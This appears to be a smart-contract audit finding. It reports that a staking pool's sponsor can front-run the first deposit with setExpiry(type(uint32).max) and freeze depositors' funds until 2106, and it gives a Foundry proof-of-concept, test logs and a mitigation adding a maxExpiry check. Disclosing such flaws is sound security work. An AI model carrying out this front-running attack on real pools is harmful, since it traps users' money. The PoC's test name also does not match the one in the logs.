Description
The setExpiry function allows the sponsor to modify the pool's expiry date before the first deposit locks it. However, the stake function lacks a maximum expiry parameter to protect the user's expected timeline, allowing a malicious sponsor to front-run the initial deposit and maliciously extend the expiry to type(uint32).max.
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
[...]
@> expiry = uint32(newExpiry);
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
[...]
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
@> if (block.timestamp >= expiry) revert StakingClosed();
if (!expiryLocked) {
expiryLocked = true;
}
[...]
}
Risk
Likelihood:
This occurs when a malicious sponsor observes the first pending stake transaction in the mempool and front-runs it using setExpiry(type(uint32).max) while the associated agreement is in the UNDER_ATTACK state.
Impact:
The victim's deposited principal becomes permanently frozen and inaccessible until February 2106 because the sponsor can indefinitely stall the state resolution process without compromising any trusted registries.
Proof of Concept
function test_SponsorFrontRunsFirstStake_LocksFunds() public {
uint256 normalExpiry = block.timestamp + 90 days;
vm.prank(sponsor);
pool.setExpiry(normalExpiry);
registry.mockSetState(ATTACK_REQUESTED);
uint256 amountUser = 1000e6;
usdc.mint(victim, amountUser);
vm.prank(victim);
usdc.approve(address(pool), amountUser);
vm.prank(sponsor);
pool.setExpiry(type(uint32).max);
vm.prank(victim);
pool.stake(amountUser);
assertEq(pool.expiry(), type(uint32).max);
vm.prank(victim);
vm.expectRevert(WithdrawsDisabled.selector);
pool.withdraw(amountUser);
}
Logs:
forge test --mt testSponsorFrontRunsFirstStakeAndLocksPrincipalUntil2106 -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/fork/BattleChainFactoryIntegration.fork.t.sol:BattleChainFactoryIntegrationForkTest
[PASS] testSponsorFrontRunsFirstStakeAndLocksPrincipalUntil2106() (gas: 741126)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 948.29ms (2.00ms CPU time)
Ran 1 test suite in 952.45ms (948.29ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation
- function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
+ function stake(uint256 amount, uint256 maxExpiry) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
+ if (expiry > maxExpiry) revert ExpiryChanged();
_assertDepositsAllowed(_observePoolState());
[...]
}